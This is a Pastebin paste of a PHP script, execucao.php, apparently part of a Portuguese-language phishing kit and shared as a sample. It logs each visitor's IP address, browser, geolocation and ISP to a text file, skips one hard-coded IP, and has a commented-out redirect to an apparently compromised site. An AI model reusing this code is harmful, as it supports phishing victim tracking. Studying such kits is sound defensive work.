Advertisement
benkow_

execucao.php

Jul 28th, 2016
585
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.42 KB | None | 0 0
  1. <?php ob_start(); ?>
  2. <?php
  3. #header("Location: http://www.saninji.jp/common/js/shadowbox/install/seguranca/");
  4.  
  5. function getBrowser()
  6. {
  7.     $u_agent = $_SERVER['HTTP_USER_AGENT'];
  8.     $bname = 'Unknown';
  9.     $platform = 'Unknown';
  10.     $version= "";
  11.  
  12.     if (preg_match('/linux/i', $u_agent)) {
  13.         $platform = 'linux';
  14.     }
  15.     elseif (preg_match('/macintosh|mac os x/i', $u_agent)) {
  16.         $platform = 'mac';
  17.     }
  18.     elseif (preg_match('/windows|win32/i', $u_agent)) {
  19.         $platform = 'windows';
  20.     }
  21.    
  22.     if(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent))
  23.     {
  24.         $bname = 'Internet Explorer';
  25.         $ub = "MSIE";
  26.     }
  27.     elseif(preg_match('/Firefox/i',$u_agent))
  28.     {
  29.         $bname = 'Mozilla Firefox';
  30.         $ub = "Firefox";
  31.     }
  32.     elseif(preg_match('/Chrome/i',$u_agent))
  33.     {
  34.         $bname = 'Google Chrome';
  35.         $ub = "Chrome";
  36.     }
  37.     elseif(preg_match('/Safari/i',$u_agent))
  38.     {
  39.         $bname = 'Apple Safari';
  40.         $ub = "Safari";
  41.     }
  42.     elseif(preg_match('/Opera/i',$u_agent))
  43.     {
  44.         $bname = 'Opera';
  45.         $ub = "Opera";
  46.     }
  47.     elseif(preg_match('/Netscape/i',$u_agent))
  48.     {
  49.         $bname = 'Netscape';
  50.         $ub = "Netscape";
  51.     }
  52.    
  53.    
  54.     $known = array('Version', $ub, 'other');
  55.     $pattern = '#(?<browser>' . join('|', $known) .
  56.     ')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#';
  57.     if (!preg_match_all($pattern, $u_agent, $matches)) {
  58.        
  59.     }
  60.    
  61.     $i = count($matches['browser']);
  62.     if ($i != 1) {
  63.        
  64.         if (strripos($u_agent,"Version") < strripos($u_agent,$ub)){
  65.             $version= $matches['version'][0];
  66.         }
  67.         else {
  68.             $version= $matches['version'][1];
  69.         }
  70.     }
  71.     else {
  72.         $version= $matches['version'][0];
  73.     }
  74.    
  75.     if ($version==null || $version=="") {$version="?";}
  76.    
  77.     return array(
  78.         'userAgent' => $u_agent,
  79.         'name'      => $bname,
  80.         'version'   => $version,
  81.         'platform'  => $platform,
  82.         'pattern'    => $pattern
  83.     );
  84. }
  85.  
  86. session_start();
  87.  
  88. $ua=getBrowser();
  89. $vindo = $_POST['password'];
  90.  
  91. $useragent=$_SERVER['HTTP_USER_AGENT'];
  92. $ip = $_SERVER['REMOTE_ADDR'];
  93.  
  94. if ($ip == "177.69.113.129") {
  95. exit;  
  96. }
  97.  
  98. $details = json_decode(file_get_contents("http://ipinfo.io/{$ip}/json"));
  99.  
  100. $arquivo = "c.txt";
  101. $dados = "data.txt";
  102. $valor = 1; // Valor agregado por visita
  103. $timer = time()+3600; // Duração do cookie para não contar o mesmo ip (3600s = 1h)
  104.  
  105. $id = fopen($arquivo, "r+");
  106. $conteudo = fread($id,filesize($arquivo));
  107. fclose($id);
  108.  
  109. if($_COOKIE['NotCont']=='') {
  110.  
  111. $conteudo += $valor;
  112.  
  113. $id = fopen($arquivo, "r+");
  114. fwrite($id, $conteudo, strlen($conteudo));
  115. fclose($id);
  116.  
  117. $abrir = fopen($dados, "r+");
  118. $texto = file_get_contents($dados);
  119.  
  120. $txt = $texto .
  121. "N.o: " . $conteudo . "  ---  " . $ip . "\r\n" .
  122. "Navegador: " . $ua['name'] . " " . $ua['version'] . " em " .$ua['platform'] . "\r\n" .
  123. "Cidade: " . $details->city . "\r\n" .
  124. "Estado: " . $details->region . "\r\n" .
  125. "Pais: " . $details->country . "\r\n" .
  126. "Operadora: " . $details->org  . "\r\n" .
  127. "=========================================================" . "\r\n";
  128.  
  129. fwrite($abrir, $txt, strlen($txt));
  130. fclose($abrir);
  131.  
  132. SetCookie("NotCont",$_SERVER['REMOTE_ADDR'],$timer);
  133. } else {
  134. SetCookie("NotCont",$_SERVER['REMOTE_ADDR'],$timer);
  135. }
  136. exit();
  137. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement